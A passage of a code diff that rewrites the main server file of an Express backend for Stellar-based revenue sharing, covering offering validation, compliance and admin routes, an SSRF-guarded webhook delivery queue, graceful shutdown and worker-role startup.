"subscriptionStartsAt and subscriptionEndsAt are required to validate investments", - ); - } - } - - const violations = checks.filter((check) => !check.passed); - return { - allowed: violations.length === 0, - decision: violations.length === 0 ? "allow" : "deny", - action, - actor, - offeringId: offering.id ?? null, - checks, - violations, - securityAssumptions: OFFERING_SECURITY_ASSUMPTIONS, - }; -} - -function createOfferingValidationHandler( - nowProvider: () => Date = () => new Date(), -): RequestHandler { - return (req: Request, res: Response, next: NextFunction): void => { - try { - const actor = (req as AuthenticatedRequest).user; - /* istanbul ignore next -- guarded by requireOfferingAuth middleware */ - if (!actor) { - next(Errors.unauthorized("Authenticated offering actor is required")); - return; - } - - const payload = parseOfferingValidationPayload(req.body); - const result = evaluateOfferingValidationMatrix( - actor, - payload, - nowProvider(), - ); - - res.status(result.allowed ? 200 : 422).json(result); - } catch (error) { - next(error); - } - }; -} - -let inFlightRequests = 0; - -export function createApp(dependencies: AppDependencies = {}): express.Express { - const app = express(); - - app.use((_req, res, next) => { - inFlightRequests++; - res.on('finish', () => inFlightRequests--); - res.on('close', () => { - if (!res.writableFinished) inFlightRequests--; - }); - next(); - }); - - const apiRouter = express.Router(); - const healthQuery = dependencies.healthQuery ?? dbQuery; - const healthStatus = dependencies.healthStatus ?? dbHealth; - - app.use(requestIdMiddleware()); - app.set("trust proxy", 1); - app.use(createCorsMiddleware() as RequestHandler); - app.use(express.json({ limit: "32kb" })); - app.use(morgan(env.NODE_ENV === "test" ? "tiny" : "dev")); - - app.get("/health", async (_req: Request, res: Response) => { - const db = await healthStatus(); - res.status(db.healthy ? 200 : 503).json({ - status: db.healthy ? "ok" : "degraded", - service: "revora-backend", - db, - }); - }); - - app.get("/health/failover", async (_req: Request, res: Response) => { - const region = process.env.REGION ?? env.REGION; - const activeRegion = process.env.FAILOVER_ACTIVE_REGION ?? env.FAILOVER_ACTIVE_REGION ?? region; - const db = await healthStatus(); - res.status(db.healthy ? 200 : 503).json({ - region, - activeRegion, - isActive: region === activeRegion, - db: db.healthy ? "up" : "down", - failoverActive: region !== activeRegion, - timestamp: new Date().toISOString(), - }); - }); - - app.use("/health", createHealthRouter(healthQuery as any, healthStatus, undefined, env.REGION)); - - apiRouter.get("/overview", (_req: Request, res: Response) => { - res.json({ - name: "Stellar RevenueShare (Revora) Backend", - description: - "Backend API skeleton for tokenized revenue-sharing on Stellar (offerings, investments, revenue distribution).", - version: "0.1.0", - }); - }); - - /** - * @notice Rate-limiter tier policy enforcement for the STARTUP_REGISTER endpoint. - * - * Security assumptions: - * - Tier resolution is performed via the `x-revora-rate-tier` request header. - * - Privileged tiers (`trusted`, `internal`) require a valid shared secret in - * `x-revora-tier-secret`; an absent, empty, or mismatched secret causes - * silent downgrade to the `standard` tier (fail-safe). - * - If no tier header is supplied, the request is treated as `standard`. - * - Rate-limit state is in-process; a distributed store (e.g. Redis) must be - * substituted for multi-instance deployments. - */ - const startupTierLimiter = createStartupAuthTierLimiter(); - apiRouter.post( - "/startup/register", - startupTierLimiter.middleware, - createStartupRegisterHandler(), - ); - - apiRouter.post( - "/offerings/validation-matrix", - requireOfferingAuth, - offeringSanitizeMiddleware, - createOfferingValidationHandler(), - ); - - apiRouter.use("/vesting", vestingRouter); - - // Mount password reset router - app.use(createPasswordResetRouter({ db: pool, emailService })); - - // Initialize email deliverability service (when enabled) - if (env.EMAIL_DELIVERABILITY_ENABLED) { - const emailDeliverabilityRepo = new EmailDeliverabilityRepository(pool); - const emailDeliverabilityService = new EmailDeliverabilityService( - emailDeliverabilityRepo, - new MetricsCollector({ enabled: true }), - { - enabled: env.EMAIL_DELIVERABILITY_ENABLED, - suppressionAutoExpireDays: env.SUPPRESSION_AUTO_EXPIRE_DAYS, - bounceRatioAlarmThreshold: env.BOUNCE_RATIO_ALARM_THRESHOLD, - }, - ); - - // Wire into the existing email service - emailService.setDeliverabilityService(emailDeliverabilityService); - - // Mount email bounce webhook routes - app.use( - '/api/v1/email/webhooks', - createEmailWebhooksRouter(emailDeliverabilityService, { - sendgridWebhookSecret: env.SENDGRID_EVENT_WEBHOOK_SECRET, - }), - ); - } - - // Initialize repositories for admin and audit routes - const auditLogRepo = new AuditLogRepository(pool); - const amlAuditRepo = new InMemorySecurityAuditRepository(); - const retentionLabelService = new RetentionLabelService( - new RetentionLabelRepository(pool), - auditLogRepo, - ); - const tenantSettingsRepo = new TenantSettingsRepository(pool); - const contractUpgradeService = env.STELLAR_SERVER_SECRET - ? new ContractUpgradeOrchestratorService( - pool, - auditLogRepo, - tenantSettingsRepo, - Keypair.fromSecret(env.STELLAR_SERVER_SECRET), - ) - : null; - - // Mount admin router - apiRouter.use("/admin", createAdminRouter(auditLogRepo, retentionLabelService)); - apiRouter.use("/admin", createAdminKycRiskTierRouter(pool, amlAuditRepo)); - - // Mount admin webhook dead-letter routes - const webhookEndpointRepo = new WebhookEndpointRepository(pool); - apiRouter.use("/admin/webhooks", createAdminWebhookRouter({ webhookEndpointRepo })); - - // Mount admin ledger double-entry export (RBAC + audited) - apiRouter.use( - "/admin/ledger", - createAdminLedgerExportRouter({ - distributionAccountRepo: new DistributionRepository(pool), - accountingLedger: new AccountingLedgerService(), - auditLogRepo, - }), - ); - - if (contractUpgradeService) { - apiRouter.use( - "/contract-upgrades", - createContractUpgradeRouter(contractUpgradeService), - ); - } - - // Initialize AML service and routes - const amlService = createAMLService(pool, amlAuditRepo, 'system'); - apiRouter.use("/aml", createAMLRoutes(amlService)); - - // Initialize sanctions list versioning and compliance routes - const sanctionsVersionsRepo = new SanctionsListVersionsRepository(pool); - const sanctionsListDiffService = new SanctionsListDiffService(sanctionsVersionsRepo); - apiRouter.use("/compliance", createComplianceRouter(sanctionsVersionsRepo, sanctionsListDiffService)); - - // Initialize ledger export with in-memory repository - // TODO: Replace with PgLedgerEntryRepository when ledger_entries table exists - const ledgerRepo = new InMemoryLedgerRepository(); - const ledgerExportService = new LedgerExportService(ledgerRepo); - apiRouter.use("/ledger", createLedgerExportRouter(ledgerExportService)); - - // Investor statements (Issue #874): the fetch endpoint re-verifies the - // persisted sha256 before serving. Storage defaults to in-memory — replace - // with the S3-backed adapter when one is deployed so completed renders are - // retrievable across instances. Without a storage adapter, requests simply - // 404 (no artifacts exist), which is fail-safe. - const statementStorage = new InMemoryStatementPdfStorage(); - const pdfRenderJobRepo = new PdfRenderJobRepository(pool); - const sessionRepo = new SessionRepository(pool); - apiRouter.use( - "/statements", - createStatementsRouter({ - jobRepo: pdfRenderJobRepo, - storage: statementStorage, - verifyJWT: createRequireAuth(sessionRepo), - }), - ); - - // Mount taxation routes for per-lot cost-basis tax reporting - app.use(API_VERSION_PREFIX + '/taxation', taxationRouter); - - // Expose reconciliation alarms and discrepancy metrics (OpenMetrics subset). - // Guards alarms via bearer token in production; bypassed in dev/test. - app.get( - "/metrics/reconciliation", - createMetricsAuthMiddleware(), - createReconciliationMetricsHandler(globalMetrics), - ); - - app.use(API_VERSION_PREFIX, apiRouter); - app.use((_req, _res, next) => next(Errors.notFound("Route not found"))); - app.use(errorHandler); - - return app; -} - -export const __test = { - stableSerialize, - parseMoneyString, - parseIsoDate, - parseOfferingValidationPayload, - evaluateOfferingValidationMatrix, - /** - * @dev Exposes the tier-limiter factory for integration tests that need to - * inspect tier resolution or reset counters without restarting the app. - */ - createStartupAuthTierLimiter, - /** - * @dev Exposes the OFAC loader for integration tests. - */ - OfacSanctionsLoader, -}; - -export { classifyStellarRPCFailure, StellarRPCFailureClass }; - -export const app = createApp(); - -let isShuttingDown = false; - -/* istanbul ignore next -- exercised only in real process shutdown */ -async function shutdown(signal: string): Promise { - if (isShuttingDown) return; - isShuttingDown = true; - - globalSampler.stop(); - console.log(`\n[server] ${signal} shutting down`); - - if (server) { - const drainTimeoutMs = parseInt(process.env.SHUTDOWN_TIMEOUT_MS || '10000', 10); - - // Stop accepting new connections - const serverClosePromise = new Promise((resolve, reject) => { - server!.close((err) => { - if (err) reject(err); - else resolve(); - }); - }); - - console.log('[server] Stopped accepting new connections. Draining in-flight requests...'); - - const drainStart = Date.now(); - while (inFlightRequests > 0) { - if (Date.now() - drainStart > drainTimeoutMs) { - console.warn(`[server] Drain timeout exceeded with ${inFlightRequests} in-flight requests. Forcing exit.`); - break; - } - await new Promise(resolve => setTimeout(resolve, 100)); - } - - if (inFlightRequests === 0) { - console.log('[server] All in-flight requests drained.'); - // Wait for server to fully close (e.g., closing idle keep-alive sockets) - try { - const remainingTime = Math.max(0, drainTimeoutMs - (Date.now() - drainStart)); - await Promise.race([ - serverClosePromise, - new Promise((_, reject) => setTimeout(() => reject(new Error('timeout')), remainingTime)) - ]); - console.log('[server] Listener closed completely.'); - } catch (err) { - console.warn('[server] Listener close timeout or error. Proceeding to close pool.'); - } - } - } - - await closePool(); - /* istanbul ignore next -- process exit is not unit-test friendly */ - process.exit(0); -} - -let server: ReturnType | undefined; - -/* istanbul ignore next -- setter exists for runtime wiring compatibility */ -export const setServer = (value: ReturnType) => { - server = value; -}; - -/** - * Webhook delivery queue with exponential backoff, SSRF-aware URL blocking, - * bounded depth, and back-pressure via deferred persistence. - * - * @notice When in-flight count reaches WEBHOOK_QUEUE_MAX_DEPTH the delivery is - * persisted as 'deferred' (never dropped) and webhook_queue_shed_total - * is incremented. Call resumeDeferred() to re-enqueue them once capacity - * is available. Shedding is idempotent per delivery: re-enqueueing an - * already-deferred row at capacity reuses the row and does not - * double-count the metric. - */ -export class WebhookQueue { - private static repo: WebhookEndpointRepository; - private static service: WebhookService; - private static MAX_RETRIES = 5; - private static INITIAL_DELAY = 1000; - /** Number of deliveries currently scheduled / in-flight. */ - private static inFlight = 0; - - static init(repo: WebhookEndpointRepository, service: WebhookService) { - this.repo = repo; - this.service = service; - } - - private static get maxDepth(): number { - return env.WEBHOOK_QUEUE_MAX_DEPTH; - } - - private static async isSafeUrl(url: string): Promise { - try { - const result = await validateWebhookUrl(url, true); - if (!result.valid) { - console.error( - `[Security] SSRF validation failed for ${url}: ${result.error?.message}`, - ); - } - return result.valid; - } catch (error) { - console.error(`[Security] Error validating webhook URL ${url}:`, error); - return false; - } - } - - static getBackoffDelay(retryCount: number): number { - if (retryCount >= this.MAX_RETRIES) return -1; - return this.INITIAL_DELAY * Math.pow(2, retryCount); - } - - /** - * Count a shed delivery. Invoked only when a delivery first transitions to - * deferred so the counter is idempotent across retries of the same row. - */ - private static recordShed(endpointId: string): void { - globalMetrics.incrementCounter( - WEBHOOK_QUEUE_SHED_TOTAL, - { endpoint: endpointId }, - 1, - 'Total webhook deliveries deferred due to queue depth limit', - ); - } - - /** - * Attempt delivery of a webhook payload to an active endpoint. - * - * @dev Back-pressure contract: when the bounded queue is at capacity the - * delivery is persisted with status 'deferred' (never dropped) and the - * webhook_queue_shed_total counter is incremented exactly once per - * status transition. When a retry is re-enqueued with `deliveryId`, the - * same row is deferred instead of a duplicate being inserted, so retries - * are idempotent and preserve the attempt counter. - * @param url Webhook endpoint URL (SSRF validation precedes any write) - * @param payload Event payload to deliver - * @param deliveryId Existing delivery row to reuse (retry path) - * @returns true when delivered, false when deferred/failed/absent endpoint - */ - static async processDelivery( - url: string, - payload: any, - deliveryId?: string, - ): Promise { - if (!this.repo || !this.service) { - console.error("[WebhookQueue] Not initialized"); - return false; - } - - if (!(await this.isSafeUrl(url))) { - console.error(`[Security] Blocked unsafe webhook URL: ${url}`); - return false; - } - - const endpoint = await this.repo.findByUrl(url); - if (!endpoint) { - console.error(`[WebhookQueue] No active endpoint found for URL: ${url}`); - return false; - } - - // --- Back-pressure: defer when at capacity --- - if (this.inFlight >= this.maxDepth) { - // When a retry is re-enqueued (deliveryId known), defer that same row - // instead of inserting a duplicate so attempts/backoff state are kept and - // the shed counter stays idempotent across retries of the same delivery. - let deferred: WebhookDelivery | null = deliveryId - ? await this.repo.findDeliveryById(deliveryId) - : null; - - let deferredId: string; - if (!deferred) { - deferred = await this.repo.createDelivery({ - endpoint_id: endpoint.id, - payload, - status: 'deferred', - attempts: 0, - }); - deferredId = deferred.id; - this.recordShed(endpoint.id); - } else { - deferredId = deferred.id; - if (deferred.status !== 'deferred') { - await this.repo.updateDelivery(deferred.id, { - status: 'deferred', - }); - this.recordShed(endpoint.id); - } - } - - globalMetrics.setGauge( - WEBHOOK_QUEUE_DEPTH_GAUGE, - this.inFlight, - {}, - 'Current in-flight webhook deliveries when the queue sheds a delivery', - ); - console.warn( - `[WebhookQueue] Queue full (${this.inFlight}/${this.maxDepth}), deferred delivery ${deferredId}`, - ); - return false; - } - - let delivery: WebhookDelivery | null = null; - if (deliveryId) delivery = await this.repo.findDeliveryById(deliveryId); - - if (!delivery) { - delivery = await this.repo.createDelivery({ - endpoint_id: endpoint.id, - payload, - status: "pending", - attempts: 0, - }); - } - - this.inFlight++; - try { - return await this._attempt(endpoint, delivery, payload); - } finally { - this.inFlight--; - } - } - - private static async _attempt( - endpoint: { id: string; url: string; secret: string }, - delivery: WebhookDelivery, - payload: any, - ): Promise { - const currentAttempt = delivery.attempts + 1; - - // Propagate the transactional outbox event_id when present (idempotency key - // the receiver's webhookEventOrdering relies on to deduplicate retries), and - // fall back to the delivery row id for legacy callers. - const webhookPayload: WebhookPayload = { - id: (payload?.id as string) || delivery.id, - event: (payload as any).event || WebhookEventType.OFFERING_UPDATED, - payload: (payload as any).payload || payload, - timestamp: new Date().toISOString(), - }; - - const result = await this.service.sendAttempt( - { id: endpoint.id, url: endpoint.url, secret: endpoint.secret }, - webhookPayload, - ); - - if (result.success) { - await this.repo.updateDelivery(delivery.id, { - status: "completed", - attempts: currentAttempt, - last_error: null, - next_retry_at: null, - }); - return true; - } - - const isRetryable = - !result.statusCode || - result.statusCode >= 500 || - result.statusCode === 429; - const nextDelay = this.getBackoffDelay(currentAttempt); - - if (isRetryable && nextDelay !== -1) { - const nextRetryAt = new Date(Date.now() + nextDelay); - await this.repo.updateDelivery(delivery.id, { - attempts: currentAttempt, - last_error: result.error, - next_retry_at: nextRetryAt, - }); - - setTimeout(() => { - void this.processDelivery(endpoint.url, payload, delivery.id); - }, nextDelay); - - return false; - } - - await this.repo.updateDelivery(delivery.id, { - status: nextDelay === -1 ? "dead_letter" : "failed", - attempts: currentAttempt, - last_error: result.error, - next_retry_at: null, - }); - - if (nextDelay === -1) { - try { - const count = await this.repo.countDeadLettersByEndpoint(delivery.endpoint_id); - globalMetrics.setGauge( - 'webhook_dead_letter_total', - count, - { endpoint: endpoint.id }, - 'Number of dead-lettered webhook deliveries per endpoint', - ); - } catch (err) { - console.error('[WebhookQueue] Failed to update dead-letter metric:', err); - } - } - return false; - } - - static async resumePending(): Promise { - if (!this.repo) return; - const pending = await this.repo.getPendingDeliveries(); - for (const delivery of pending) { - // Honour the same bounded-depth contract as resumeDeferred; excess rows - // stay pending and are picked up on the next resume cycle. - if (this.inFlight >= this.maxDepth) break; - const endpoint = await this.repo.findById(delivery.endpoint_id); - if (endpoint) { - void this.processDelivery(endpoint.url, delivery.payload, delivery.id); - } - } - } - - /** - * Re-enqueue deferred deliveries up to available capacity. - * Safe to call repeatedly; excess deferred rows remain deferred. - */ - static async resumeDeferred(): Promise { - if (!this.repo) return; - const deferred = await this.repo.getDeferredDeliveries(); - for (const delivery of deferred) { - if (this.inFlight >= this.maxDepth) break; - const endpoint = await this.repo.findById(delivery.endpoint_id); - if (!endpoint) continue; - // Promote back to pending so processDelivery can pick it up - await this.repo.updateDelivery(delivery.id, { status: 'pending' }); - void this.processDelivery(endpoint.url, delivery.payload, delivery.id); - } - } -} - -/* istanbul ignore next -- bootstrapping is integration-environment specific */ -if (require.main === module && env.NODE_ENV !== "test") { - process.on("SIGTERM", () => { - void shutdown("SIGTERM"); - }); - process.on("SIGINT", () => { - void shutdown("SIGINT"); - }); - - const backgroundStopFns: (() => void)[] = []; - - // Resolve worker role — fail-fast on invalid value - const { resolveWorkerRole, getRoleConfig } = require("./config/workerRole"); - const workerRole = resolveWorkerRole(env.ROLE, env.NODE_ENV); - const roleConfig = getRoleConfig(workerRole); - console.log(`[server] Starting with role="${workerRole}"`, roleConfig); - - const metricsCollector = new MetricsCollector(); - - const payoutDriftRepo = new PayoutDriftRepository(pool); - const payoutDriftDetector = new PayoutDriftDetector( - pool, - payoutDriftRepo, - metricsCollector - ); - - payoutDriftDetector.start(); // Start nightly payout drift detection - globalSampler.start(); // Start event loop lag monitoring - - if (roleConfig.auditPurge) { - const auditLogRepo = new AuditLogRepository(pool); - const auditPurgeService = new AuditPurgeService(auditLogRepo, metricsCollector); - auditPurgeService.start(); - backgroundStopFns.push(() => auditPurgeService.stop()); - console.log("[server] AuditPurgeService started"); - } - - if (roleConfig.auditPurge) { // Reusing auditPurge role for general cleanup tasks - const sessionRepo = new SessionRepository(pool); - const sessionCompactionService = new SessionCompactionService(sessionRepo, metricsCollector); - sessionCompactionService.start(); - backgroundStopFns.push(() => sessionCompactionService.stop()); - console.log("[server] SessionCompactionService started"); - } - - if (roleConfig.payoutDrift) { - const payoutDriftRepo = new PayoutDriftRepository(pool); - const payoutDriftDetector = new PayoutDriftDetector( - pool, - payoutDriftRepo, - metricsCollector, - ); - payoutDriftDetector.start(); - backgroundStopFns.push(() => payoutDriftDetector.stop()); - console.log("[server] PayoutDriftDetector started"); - } - - if (roleConfig.reconciliation) { - const reconciliationScheduler = createReconciliationSchedulerRuntime({ - db: pool, - metrics: globalMetrics, - logger: undefined, - }); - reconciliationScheduler.start(); - backgroundStopFns.push(() => reconciliationScheduler.stop()); - console.log("[server] ReconciliationScheduler started"); - } - - // --- Hot-path services (only for "api" and "all" roles) --- - - if (roleConfig.webhookQueue) { - const repo = new WebhookEndpointRepository(pool); - const service = new WebhookService(repo, { - outboxRepo: env.OUTBOX_DISPATCHER_ENABLED ? new OutboxRepository(pool) : undefined, - }); - WebhookQueue.init(repo, service); - void WebhookQueue.resumePending(); - console.log("[server] WebhookQueue started"); - - // Drain the transactional outbox in a separate polling worker. Every - // outbox row was written atomically with the transaction that produced - // the event; retries reuse the same event_id so receivers can deduplicate - // via webhookEventOrdering (exactly-once). - if (env.OUTBOX_DISPATCHER_ENABLED) { - const outboxRepo = new OutboxRepository(pool); - const dispatcher = new OutboxDispatcher( - outboxRepo, - makeWebhookDispatchFn( - WebhookQueue.processDelivery.bind(WebhookQueue), - (event) => repo.listActiveByEvent(event), - ), - ); - dispatcher.start(); - backgroundStopFns.push(() => dispatcher.stop()); - console.log("[server] OutboxDispatcher started"); - } - } - - for (const stopFn of backgroundStopFns) { - process.on("SIGTERM", stopFn); - process.on("SIGINT", stopFn); - } - - // --- HTTP server (only for "api" and "all" roles) --- - - if (roleConfig.httpServer) { - server = app.listen(port, () => { - console.log(`revora-backend listening on http://localhost:${port} (role=${workerRole})`); - }); - } else { - console.log(`[server] HTTP server disabled for role="${workerRole}". Running background workers only.`); - } -} - -export default app; +import "dotenv/config"; +import { timingSafeEqual } from "crypto"; +import express, { + NextFunction, + Request, + RequestHandler, + Response, +} from "express"; +import morgan from "morgan"; +import { closePool, dbHealth, query as dbQuery } from "./db/client"; +import { createCorsMiddleware } from "./middleware/cors"; +import { errorHandler } from "./middleware/errorHandler"; +import { requestIdMiddleware } from "./middleware/requestId"; +import { Errors } from "./lib/errors"; +import { globalSampler } from "./lib/sampler"; +import { + classifyStellarRPCFailure, + StellarRPCFailureClass, +} from "./lib/stellarRpcFailure"; +import { createHealthRouter } from "./routes/health"; +import vestingRouter from "./routes/vesting"; +import { offeringSanitizeMiddleware } from "./middleware/offeringSanitize"; +import { createStartupAuthTierLimiter } from "./middleware/startupAuthRateTierPolicy"; +import { env } from "./config/env"; +import { validateWebhookUrl, SsrfValidationError } from "./lib/ssrfProtection"; +import { + WebhookEndpointRepository, + WebhookDelivery, +} from "./db/repositories/webhookEndpointRepository"; +import { + WebhookService, + WebhookPayload, + WebhookEventType, +} from "./services/webhookService"; +import { OutboxRepository } from "./db/repositories/outboxRepository"; +import { OutboxDispatcher, makeWebhookDispatchFn } from "./services/outboxDispatcher"; +import { pool } from "./db/pool"; +import { + globalMetrics, + WEBHOOK_QUEUE_DEPTH_GAUGE, + WEBHOOK_QUEUE_SHED_TOTAL, +} from "./lib/metrics"; +import { createPasswordResetRouter } from "./routes/passwordReset"; +import { emailService } from "./services/emailService"; +import { EmailDeliverabilityService } from "./services/emailDeliverabilityService"; +import { EmailDeliverabilityRepository } from "./db/repositories/emailDeliverabilityRepository"; +import { createEmailWebhooksRouter } from "./routes/emailWebhooks"; +import { createAdminRouter } from "./routes/admin"; +import { createAdminLedgerExportRouter } from "./routes/adminLedgerExport"; +import { createAdminWebhookRouter } from "./routes/adminWebhooks"; +import { AccountingLedgerService } from "./services/accountingLedgerService"; +import { DistributionRepository } from "./db/repositories/distributionRepository"; +import { createAdminKycRiskTierRouter } from "./routes/adminKycRiskTier"; +import { AuditLogRepository } from "./db/repositories/auditLogRepository"; +import { TenantSettingsRepository } from "./db/repositories/tenantSettingsRepository"; +import { ContractUpgradeOrchestratorService } from "./services/contractUpgradeOrchestratorService"; +import { createContractUpgradeRouter } from "./routes/contractUpgradeRoutes"; +import { AuditPurgeService } from "./services/auditPurgeService"; +import { SessionCompactionService } from "./services/sessionCompactionService"; +import { SessionRepository } from "./db/repositories/sessionRepository"; +import { RetentionLabelRepository } from "./db/repositories/retentionLabelRepository"; +import { RetentionLabelService } from "./services/retentionLabelService"; +import { PayoutDriftRepository } from "./db/repositories/payoutDriftRepository"; +import { PayoutDriftDetector } from "./services/payoutDriftDetector"; +import { MetricsCollector } from "./lib/metrics"; +import { createReconciliationMetricsHandler } from "./routes/reconciliationRoutes"; +import { createReconciliationSchedulerRuntime } from "./services/reconciliationScheduler"; +import { createAMLRoutes } from "./routes/amlRoutes"; +import { createLedgerExportRouter } from "./routes/ledgerExport"; +import { LedgerExportService, InMemoryLedgerRepository } from "./services/ledgerExportService"; +import { createAMLService } from "./aml/amlService"; +import { InMemorySecurityAuditRepository } from "./security/audit"; +import { createMobileCompanionRouter } from "./routes/mobileCompanion"; +import { InMemoryDeviceKeyStore } from "./middleware/deviceSignature"; +import { Keypair } from '@stellar/stellar-sdk'; +import { OfacSanctionsLoader } from './services/ofacSanctionsLoader'; +import { SanctionsListVersionsRepository } from './db/repositories/sanctionsListVersionsRepository'; +import { SanctionsListDiffService } from './services/sanctionsListDiffService'; +import { createComplianceRouter } from './routes/compliance'; +import { createScimRouter } from './routes/scim'; +import { UserRepository } from './db/repositories/userRepository'; +import taxationRouter from './routes/taxation'; +import { PdfRenderJobRepository } from './db/repositories/pdfRenderJobRepository'; +import { InMemoryStatementPdfStorage } from './services/statementPdfService'; +import createStatementsRouter from './routes/statements'; +import { createRequireAuth } from './middleware/auth'; + +const port = env.PORT; +const API_VERSION_PREFIX = env.API_VERSION_PREFIX; + +const OFFERING_ROLES = ["startup", "admin", "compliance", "investor"] as const; +const OFFERING_ACTIONS = [ + "create", + "update", + "publish", + "pause", + "close", + "cancel", + "viewPrivate", + "invest", +] as const; +const OFFERING_STATUSES = [ + "draft", + "open", + "paused", + "closed", + "cancelled", + "completed", +] as const; +const OFFERING_SECURITY_ASSUMPTIONS = [ + "Caller identity is asserted by trusted upstream auth middleware before these rules are used for authorization.", + "Money amounts are decimal strings to avoid binary rounding; invalid or unbounded numeric input is rejected.", + "Startup actors may only manage offerings they issued unless a privileged admin or compliance actor performs the action.", + "Validation output is safe for clients and never includes raw database, token, or upstream provider error messages.", +] as const; + +type OfferingActorRole = (typeof OFFERING_ROLES)[number]; +type OfferingValidationAction = (typeof OFFERING_ACTIONS)[number]; +type OfferingStatus = (typeof OFFERING_STATUSES)[number]; +type DecisionSeverity = "error" | "warning"; + +interface AuthenticatedUser { + id: string; + role: OfferingActorRole; +} + +interface AuthenticatedRequest extends Request { + user?: AuthenticatedUser; +} + +interface AppDependencies { + healthQuery?: typeof dbQuery; + healthStatus?: typeof dbHealth; +} + +/** + * Bearer-token guard for the reconciliation metrics endpoint. + * + * Security assumptions: + * - In production a `METRICS_TOKEN` MUST be set; otherwise the endpoint is + * down (503) rather than exposed unauthenticated. + * - Token comparison uses a constant-time compare to avoid timing oracles. + * - In `development`/`test` the guard is bypassed for operator convenience, + * mirroring the existing Prometheus `/metrics` endpoint behaviour. + */ +function createMetricsAuthMiddleware(): RequestHandler { + return (req: Request, res: Response, next: NextFunction): void => { + const metricsToken = process.env.METRICS_TOKEN; + const nodeEnv = process.env.NODE_ENV; + + if (nodeEnv === "development" || nodeEnv === "test") { + next(); + return; + } + if (!metricsToken) { + res.status(503).json({ + error: "Metrics endpoint not configured", + message: "METRICS_TOKEN environment variable must be set", + }); + return; + } + + const authHeader = req.headers.authorization; + if (!authHeader || !authHeader.startsWith("Bearer ")) { + res.status(401).json({ error: "Unauthorized", message: "Bearer token required" }); + return; + } + const token = authHeader.substring(7); + const matches = + token.length === metricsToken.length && + timingSafeEqual(Buffer.from(token), Buffer.from(metricsToken)); + if (!matches) { + res.status(401).json({ error: "Unauthorized", message: "Invalid token" }); + return; + } + next(); + }; +} + +interface OfferingValidationPayload { + action: OfferingValidationAction; + offering: { + id?: string; + issuerId?: string; + status?: OfferingStatus; + targetAmount?: string; + minimumInvestment?: string; + investmentAmount?: string; + subscriptionStartsAt?: string; + subscriptionEndsAt?: string; + }; +} + +interface ValidationCheck { + code: string; + passed: boolean; + severity: DecisionSeverity; + message: string; +} + +interface OfferingValidationResult { + allowed: boolean; + decision: "allow" | "deny"; + action: OfferingValidationAction; + actor: AuthenticatedUser; + offeringId: string | null; + checks: ValidationCheck[]; + violations: ValidationCheck[]; + securityAssumptions: readonly string[]; +} + +/** + * @dev Stable JSON serializer used for deterministic fingerprints and tests. + */ +function stableSerialize(value: unknown): string { + const normalize = (input: unknown): unknown => { + if (Array.isArray(input)) { + return input.map(normalize); + } + + if (input && typeof input === "object") { + const record = input as Record; + const sorted: Record = {}; + for (const key of Object.keys(record).sort()) { + sorted[key] = normalize(record[key]); + } + return sorted; + } + + return input; + }; + + return JSON.stringify(normalize(value)); +} + +function isOfferingRole(value: unknown): value is OfferingActorRole { + return ( + typeof value === "string" && + (OFFERING_ROLES as readonly string[]).includes(value) + ); +} + +function isOfferingAction(value: unknown): value is OfferingValidationAction { + return ( + typeof value === "string" && + (OFFERING_ACTIONS as readonly string[]).includes(value) + ); +} + +function isOfferingStatus(value: unknown): value is OfferingStatus { + return ( + typeof value === "string" && + (OFFERING_STATUSES as readonly string[]).includes(value) + ); +} + +function isNonEmptyString(value: unknown, maxLength = 128): value is string { + return ( + typeof value === "string" && + value.trim().length > 0 && + value.trim().length <= maxLength + ); +} + +/** + * @dev Decimal parser with strict input bounds to resist coercion abuse and NaN payloads. + */ +export function parseMoneyString(value: unknown): number | null { + if (typeof value !== "string") return null; + if (!/^(0|[1-9]\d{0,11})(\.\d{1,2})?$/.test(value)) return null; + const parsed = Number(value); + if (!Number.isFinite(parsed)) return null; + return parsed; +} + +function parseIsoDate(value: unknown): Date | null { + if (!isNonEmptyString(value, 64)) return null; + const parsed = new Date(value); + if (Number.isNaN(parsed.getTime())) return null; + return parsed; +} + +function createStartupRegisterHandler(): RequestHandler { + return (req: Request, res: Response): void => { + const body = req.body as Record | undefined; + const email = body?.email; + const password = body?.password; + + if (!isNonEmptyString(email) || !isNonEmptyString(password)) { + res.status(400).json({ error: "Email and password are required" }); + return; + } + + res.status(201).json({ message: "Startup user registered successfully" }); + }; +} + +function requireOfferingAuth( + req: Request, + _res: Response, + next: NextFunction, +): void { + const userId = req.header("x-user-id"); + const role = req.header("x-user-role"); + + if (!isNonEmptyString(userId) || !isOfferingRole(role)) { + next( + Errors.unauthorized( + "Offering validation requires x-user-id and x-user-role headers", + ), + ); + return; + } + + (req as AuthenticatedRequest).user = { id: userId.trim(), role }; + next(); +} + +function parseOfferingValidationPayload( + body: unknown, +): OfferingValidationPayload { + if (!body || typeof body !== "object") { + throw Errors.badRequest("Validation payload must be a JSON object"); + } + + const raw = body as Record; + if (!isOfferingAction(raw.action)) { + throw Errors.badRequest("Invalid offering validation action", { + allowedActions: OFFERING_ACTIONS, + }); + } + + const rawOffering = raw.offering; + if (!rawOffering || typeof rawOffering !== "object") { + throw Errors.badRequest( + "Offering validation payload must include an offering object", + ); + } + + const offeringRecord = rawOffering as Record; + const payload: OfferingValidationPayload = { + action: raw.action, + offering: {}, + }; + + if (offeringRecord.id !== undefined) { + if (!isNonEmptyString(offeringRecord.id)) { + throw Errors.badRequest("offering.id must be a non-empty string"); + } + payload.offering.id = offeringRecord.id.trim(); + } + + if (offeringRecord.issuerId !== undefined) { + if (!isNonEmptyString(offeringRecord.issuerId)) { + throw Errors.badRequest("offering.issuerId must be a non-empty string"); + } + payload.offering.issuerId = offeringRecord.issuerId.trim(); + } + + if (offeringRecord.status !== undefined) { + if (!isOfferingStatus(offeringRecord.status)) { + throw Errors.badRequest( + "offering.status must be a supported offering status", + { + allowedStatuses: OFFERING_STATUSES, + }, + ); + } + payload.offering.status = offeringRecord.status as OfferingStatus; + } + + const stringFields: Array< + | "targetAmount" + | "minimumInvestment" + | "investmentAmount" + | "subscriptionStartsAt" + | "subscriptionEndsAt" + > = [ + "targetAmount", + "minimumInvestment", + "investmentAmount", + "subscriptionStartsAt", + "subscriptionEndsAt", + ]; + + for (const field of stringFields) { + const value = offeringRecord[field]; + if (value !== undefined) { + if (!isNonEmptyString(value, 64)) { + throw Errors.badRequest(`offering.${field} must be a non-empty string`); + } + payload.offering[field] = value.trim(); + } + } + + return payload; +} + +function evaluateOfferingValidationMatrix( + actor: AuthenticatedUser, + payload: OfferingValidationPayload, + now = new Date(), +): OfferingValidationResult { + const checks: ValidationCheck[] = []; + const { action, offering } = payload; + + const addCheck = ( + code: string, + passed: boolean, + message: string, + severity: DecisionSeverity 